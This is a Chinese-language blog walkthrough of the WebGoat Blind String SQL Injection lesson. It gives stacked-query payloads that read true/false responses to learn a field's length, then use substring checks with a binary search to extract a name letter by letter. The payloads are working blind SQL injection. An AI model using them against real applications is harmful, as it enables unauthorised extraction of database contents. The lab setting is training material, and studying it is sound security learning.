Blind SQL injection sample

WebGoat中的Blind Numeric SQL Injection 和 Blind String SQL Injection 两个例子。

下面说明Blind String SQL Injection的测试方法:


1)分析两个例子发现:数据库出错时的具体信息被屏蔽,只能通过一些测试判断查询的内容是否正确或者错误或者语法错误。

输入:101

输出:Account number is valid


输入:101;select * from pins where 1=0

输出:Invalid account number


输入:101;select * from pins where 1=1

输出:Account number is valid

输入:101;select * from pins where '1=1

输出:

An error occurred, please try again.

Unexpected end of command in statement [select * from pins where ']

可以看出对连续执行两个SQL语句,当两者都返回true时,才会返回Account number is valid;其中一个返回false,则返回Invalid account number;如果语法错误,则会返回An error occurred, please try again。


2)获取name的长度

根据题目要求:

The goal is to find the value of the field name in table pins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.

需要获取cc_number=4321432143214321处的name值,简单翻译下:select name from pins where cc_number=4321432143214321


但是,程序仅能返回三种状态,不能直接显示查询获取的结果,那么要获取name的值,就需要借助一些函数:length / substring /like /ASCII等

首先,我们需要获取name的长度,那么可以构造:101; select * from pins where cc_number=4321432143214321 and length(name)=N  (N=1-9之间)

经过测试发现name的长度为4 。(当然,可以引入二分查找的方法)


3)逐个获取name的值

要获取name某个位置的具体值,需要借助substring函数

101;select * from pins where cc_number=4321432143214321 and substring(name,1,1)='$' ($ 为 ‘1’-‘9’ 、‘a' -'z'、'A'-'Z'三者间的一个)

要是手动一个个字符去试就太麻烦了,必须引进二分查找方法:

101;select * from pins where cc_number=4321432143214321 and (substring(name,1,1)>='A'  and  substring(name,1,1)<='Z' )

判断第一个字符为三个范围中的哪个后,再将区间缩小一半,就可以较快的确定在一个字符上。

然后在修改substring的第二个参数为2、3、4逐个获取字符

4)可以测出name为Jill


注:在测试过程中,在发现了有效的字符后可以搜搜常用的名字,直接测试是否正确;如在发现了Jil三个字符后,google Jil 发现有Jill的提示,果断测试l的可能性,发现OK通过。



  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值